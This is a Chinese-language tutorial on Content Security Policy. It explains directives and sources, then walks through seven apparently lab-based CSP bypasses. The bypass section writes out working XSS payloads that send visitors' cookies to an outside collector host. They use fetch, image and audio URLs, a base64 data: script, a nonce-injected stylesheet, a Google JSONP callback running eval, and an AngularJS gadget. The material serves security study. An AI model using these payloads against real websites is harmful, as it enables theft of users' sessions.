:::info

:::

介绍

CSP (内容安全策略) 是一种基于HTTP头信息的安全策略机制,可以有效地防止跨站脚本攻击(XSS)和其他类型的代码注入攻击,为网站提供更高的安全性。

HTTP CSP 允许网站管理员控制网站的资源加载情况,通过指定允许加载外部资源的白名单、限制内联脚本和禁止使用 eval() 等方式限制网站的脚本执行。通过帮助浏览器识别和阻止恶意内容的加载,HTTP CSP 提供了一种有效的方式来保护用户的隐私和安全。 HTTP CSP 支持多种类型的策略指令,包括default-src、script-src、style-src、img-src、font-src、connect-src等,可以快速配置并适用于不同的网站。它还支持 report-uri 指示器,让网站管理员可以记录浏览器报告的违规内容,从而进一步加强安全性。

:::info CSP 策略也可以包含在 页面的 HTML 源代码中,使用 <meta>标记:

<meta http-equiv="Content-Security-Policy" content="script-src 'none'; object-src 'none';">

:::

当我们使用 XSS 漏洞时, CSP 策略可能会阻止我们的正常执行,所以我们需要阅读服务器的策略,查看是否存在缺陷

指令

CSP 提供了许多的指令详细查看:

  • default-src : 默认值, 意思是当某个资源尝试加载并且没有为其进行指定时, 使用该策略
  • script-src: 指定可以加载和执行 JS 脚本的源
  • connect-src: 指定 JS 代码可以向哪些位置执行 AJAX 请求 (XMLHTTPRequest 和 fetch)
  • style-src / img-src / font-src / media-src: 指定可以从哪些位置加载 CSS 样式表 图像 字体 媒体文件
  • frame-src / child-src: 定义哪些位置可以利用 iframe 嵌入网页
  • report-uri: 特殊指令, 当浏览器检测到违反了 CSP 策略,它会将这些信息报告给指定的报告接收方。接收方可以是任何 HTTP 或 HTTPS URL,可以是站内或站外的 URL。以及被 <font style="color:rgb(0, 0, 0);">report-to</font>替代

来源

在指令之后,是一系列源列表,指定允许从哪些位置加载

  • *: 通配符, 意味着可以从任何地方加载该特定指令的内容
  • 'none' : 与 * 相反, 完全不允许从任何地方加载指定类型的资源
  • 'self' : 这个源允许你加载与网站相同的协议(http/https)、主机名(example.com)和端口(80/443)上的资源。例如,如果你正在访问一个网站,如https://example.com,并且它的CSP头设置为default-src 'self',你将无法从https://subdomain.example.comhttp://example.comhttps://example.org,加载任何脚本、图像或样式表。
  • 'unsafe-inline' : 用于允许在 HTML 和 JavaScript 中嵌入内联的代码。它告诉浏览器允许执行内联脚本代码,即使这些脚本代码没有经过 CSP 审核,但是这种做法极不安全,并且很容易受到代码注入攻击的影响。
  • 'unsafe-eval': 用于允许执行动态脚本,即 eval() 函数,这个做法非常危险,容易遭受到代码注入攻击的影响。
  • <font style="color:rgb(0, 0, 0);">example.com</font> : 此源将允许您从域 example.com 加载资源,但不能从其子域加载资源
  • <font style="color:rgb(33, 37, 41);">*.example.com</font>: 此源将允许您从 example.com 的所有子域加载资源,但不能从基域加载资源
  • <font style="color:rgb(33, 37, 41);">data:</font> 控制数据来源的安全性,

Content-Security-Policy: default-src 'self'; img-src data:

在上述代码中,img-src data:表示只允许从data: URI中加载图片资源。这样做可以有效地防止XSS攻击和其他类型的安全漏洞。

还有一些特殊的来源,通常和上述来源进行配合使用

  • nonce-: 如果资源具有匹配的 nonce 属性,则允许加载该资源。nonce 是为每个请求生成的随机字符串。它通常用于加载内联 JS 代码或 CSS 样式。它需要对每个请求都是唯一的,就好像 nonce 是可以预测的一样,它可以被绕过。例如,如果服务器发送以下标头:script-src 'unsafe-inline' 'nonce-GJYTxu',浏览器将只执行具有属性集的脚本,如下所示:<script nonce="GJYTxu">alert(1)</script>
  • sha256-: 这只是一个通过 Base64 编码的 SHA256 散列,用作校验和以验证资源的内容是否与服务器允许的内容相匹配。目前,sha256、sha384和sha512符合 CSP 标准。这通常仅用于内联 JS 代码或 CSS 样式,但也可用于验证外部脚本和/或样式表。我们可以生成我们打算使用的内联脚本的 SHA256 哈希,方法是使用一种工具来生成它,例如report-uri.com上的工具,或者简单地在具有限制性 CSP 标头的网页上运行它,然后提取哈希从控制台错误。
    例如,如果我们希望在我们的网站上内联运行以下 JS:alert(1337),我们需要计算 SHA256 哈希。我继续这样做,上面代码的哈希值是'sha256-EKy4VsCHbHLlljt6SkTuD/eXpDbYHR1miZSY8h2DjDc='. 现在我们可以将其添加到我们的策略中,如下所示script-src 'sha256-EKy4VsCHbHLlljt6SkTuD/eXpDbYHR1miZSY8h2DjDc=':添加后,内联脚本应正常运行

创建 CSP

:::info 推荐使用 Generate your Content Security Policy 该工具可以帮助我们快速生成所需的 CSP 策略

:::

当设置 script-src 指令以及来源时, 我们需要注意允许加载的内容,如果我们需要从 CDN 等外部来源加载脚本,我们需要确保脚本的完整 URL 或者脚本的SHA 哈希,而不仅仅时托管主机名,比如 jquery - Libraries - cdnjs 就包含一个 完整 URL 和 SHA256

内联 JS:

如果我们需要在网站中包含内联 JS 或者 CSS, 我们需要在服务器端设置随机数生成器或计算内联脚本的 SHA 哈希值, 然后包含在自己的策略中, 比如: 在使用基于 Express的网站, 我们可以使用 npm 的 helmet-csp 模块.如果我们可以希望对脚本进行哈希处理,我们可以使用 CSP Hash Generator

GitHub - fcsonline/autocsp

如果在网站上提供 JSONP 端点, 我们需要采取额外的保护措施

绕过 CSP

我们可以使用 https://csp-evaluator.withgoogle.com/ 来帮助我们检测 CSP 配置中的错误

JSONP 端点

有些网站可能会提供 JSONP 端点,这些端点会在响应中调用 JavaScript 函数。如果可以更改这些回调函数,则可以使用它们绕过 CSP 并演示概念验证,例如显示警告框,甚至可能从客户端泄露敏感信息,例如 cookie 或身份验证令牌。许多流行的网站都提供 JSONP 端点,这通常可用于绕过使用其服务的网站上的安全策略。JSONBee 存储库列出了大量当前可用的 JSONP 端点,可用于绕过网站的安全策略 ## 不安全的 CSP 配置 某些站点可能允许从不安全的来源加载资源,例如通过允许数据:URI 或使用“不安全内联”来源。例如,如果一个网站允许从 data: URI 加载脚本,您可以通过将有效负载移动到脚本的 src 属性来简单地绕过他们的策略,如下所示:<script src="data:application/javascript,alert(1)"></script> ## 渗透 要想获取敏感信息,我们需要连接到自己控制的服务器, 我们可以使用 Beeceptor 来接收信息 如果您正在利用的网站允许 AJAX 请求(通过 connect-src)到任何地方,您可以像这样创建对服务器的提取请求: javascript <script>fetch(`http://example.com/${document.cookie}`)</script> 当脚本在受害者的机器上被触发时,您会看到他们的 cookie 出现在您的访问日志中,如下所示:

CSP - 图1

如果您发现 XSS 漏洞并绕过 CSP,但无法通过 XHR 请求或提取来泄露任何信息,则该 connect-src策略可能会阻止您的请求。如果您正在利用的网站没有严格的指令设置(例如 image-src 和 media-src),这可以被绕过,这些指令可能被滥用来泄露信息。

例如,如果一个网站阻止了您所有的 XHR 请求,但允许从任何位置加载图像,您可以使用 JavaScript 滥用它来加载伪装成图像的特制 URL,如下所示:

  1. <script>(new Image()).src = `https://example.com/${encodeURIComponent(document.cookie)}`</script>

利用

attack-1

访问网站查看 HTTP 信息:

CSP - 图2

'unsafe-inline' : 用于允许在 HTML 和 JavaScript 中嵌入内联的代码。它告诉浏览器允许执行内联脚本代码,即使这些脚本代码没有经过 CSP 审核,

本地开启 HTTP服务,构造语句

CSP - 图3

发送即可

CSP - 图4

attack2

查看 HTTP 响应发现:

CSP - 图5

我们发现对于 script-src data:这个地方存在问题.我们构建语句

  1. root@ip-10-10-59-177:~# echo -n 'fetch(`https://tryhackme.free.beeceptor.com/${document.cookie}`)' | base64
  2. ZmV0Y2goYGh0dHBzOi8vdHJ5aGFja21lLmZyZWUuYmVlY2VwdG9yLmNvbS8ke2RvY3VtZW50LmNv
  3. b2tpZX1gKQ==
  4. <script src="data:;base64,ZmV0Y2goYGh0dHBzOi8vdHJ5aGFja21lLmZyZWUuYmVlY2VwdG9yLmNvbS8ke2RvY3VtZW50LmNvb2tpZX1gKQ=="></script>

上传我们的 JS 内容我们就可以在日志中发现

CSP - 图6

attack-3

我们查看请求内容:

CSP - 图7

  • script-src 告知我们可以在目标端执行 JS 代码
  • img-src: 没有指定图片的位置
  1. <script>(new Image()).src = `https://tryhackme.free.beeceptor.com/${encodeURIComponent(document.cookie)}`</script>

CSP - 图8

attack-4

我们查看请求内容:

CSP - 图9

  • script-src: 可以执行 JS 代码
  • style-src 设置自己
  1. <link id="randomcspsmith" rel=stylesheet href="" /><script nonce="abcdef">document.getElementById('randomcspsmith').href="https://tryhackme.free.beeceptor.com/" + document.cookie;</script>

CSP - 图10

attack-5

CSP - 图11

限制为 google.com 域

  1. <script src="//accounts.google.com/o/oauth2/revoke?callback=eval(document.location='https://tryhackme.free.beeceptor.com/'.concat(document.cookie))"></script>

CSP - 图12

attack-6

CSP - 图13

  1. <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.3/prototype.min.js" integrity="sha512-C4LuwXQtQOF1iTRy3zwClYLsLgFLlG8nCV5dCxDjPcWsyFelQXzi3efHRjptsOzbHwwnXC3ZU+sWUh1gmxaTBA==" crossorigin="anonymous"></script>
  2. <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.min.js"></script>
  3. <div ng-app ng-csp>{{$on.curry.call().document.location='https://tryhackme.free.beeceptor.com/' + $on.curry.call().document.cookie}}</div>

attack-7

CSP - 图14

  1. <script src="/'; new Audio('https://tryhackme.free.beeceptor.com/' + document.cookie); '"></script>